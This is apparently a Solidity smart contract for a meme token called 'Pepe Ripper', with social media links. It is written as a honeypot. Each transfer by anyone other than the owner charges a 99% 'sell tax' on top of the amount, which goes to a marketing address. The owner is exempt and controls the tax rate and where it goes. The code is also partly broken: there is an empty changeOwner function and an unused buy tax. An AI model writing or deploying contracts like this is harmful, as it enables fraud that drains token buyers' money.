// SPDX-License-Identifier: MIT

// Telegram: https://t.me/PepeRipper
// Twitter: @PepeRipper2023
pragma solidity ^0.8.0;

contract PepeRipper {
    string public name = "Pepe Ripper";
    string public symbol = "$Pepper";
    uint256 public totalSupply = 100000000;
    uint8 public decimals = 18;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private owner = 0xdd320C161137706D14733Cb93d9377Bd0F8e7F06; // make owner address private
    address public marketingAddress = 0xe177dcFDE6ABaeBE6b6F58fB14dB71D05Dcfb762;

    uint256 public sellTax = 99;
    uint256 public buyTax = 0;

    modifier onlyOwner() { // add modifier to restrict access to owner only
        require(msg.sender == owner, "Only the owner can call this function.");
        _;
    }

    constructor() {
        balanceOf[msg.sender] = totalSupply;
        owner = msg.sender;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function transfer(address _to, uint256 _value) external returns (bool success) {
        require(_to != address(0), "Invalid address");
        require(_value > 0, "Invalid amount");

        uint256 totalTax = 0;

        if (msg.sender != owner) {
            // Apply sell tax to non-owner transfers
            totalTax = (_value * sellTax) / 100;
            balanceOf[msg.sender] -= (_value + totalTax);
            balanceOf[marketingAddress] += totalTax;
            balanceOf[_to] += _value;
        } else {
            // No tax for owner transfers
            balanceOf[msg.sender] -= _value;
            balanceOf[_to] += _value;
        }

        emit Transfer(msg.sender, _to, _value);
        emit Transfer(msg.sender, marketingAddress, totalTax);

        return true;
    }

    function approve(address _spender, uint256 _value) external returns (bool success) {
        require(_spender != address(0), "Invalid address");

        allowance[msg.sender][_spender] = _value;

        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
        require(_from != address(0), "Invalid address");
        require(_to != address(0), "Invalid address");
        require(_value > 0, "Invalid amount");
        require(allowance[_from][msg.sender] >= _value, "Insufficient allowance");

        uint256 totalTax = 0;

        if (_from != owner) {
            // Apply sell tax to non-owner transfers
            totalTax = (_value * sellTax) / 100;
            balanceOf[_from] -= (_value + totalTax);
            balanceOf[marketingAddress] += totalTax;
            balanceOf[_to] += _value;
        } else {
            // No tax for owner transfers
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
        }

        allowance[_from][msg.sender] -= _value;

        emit Transfer(_from, _to, _value);
        emit Transfer(_from, marketingAddress, totalTax);

        return true;
    }

    function changeOwner(address _newOwner) external onlyOwner { // add
}

function setSellTax(uint256 _sellTax) external onlyOwner { // add function to set sell tax, restricted to owner only
    require(_sellTax <= 99, "Sell tax cannot exceed 99%");
    sellTax = _sellTax;
}

function setBuyTax(uint256 _buyTax) external onlyOwner { // add function to set buy tax, restricted to owner only
    require(_buyTax <= 99, "Buy tax cannot exceed 99%");
    buyTax = _buyTax;
}

function setMarketingAddress(address _marketingAddress) external onlyOwner { // add function to set marketing address, restricted to owner only
    require(_marketingAddress != address(0), "Invalid address");
    marketingAddress = _marketingAddress;
}

function withdraw() external onlyOwner { // add function to withdraw contract balance, restricted to owner only
    payable(owner).transfer(address(this).balance);
}

}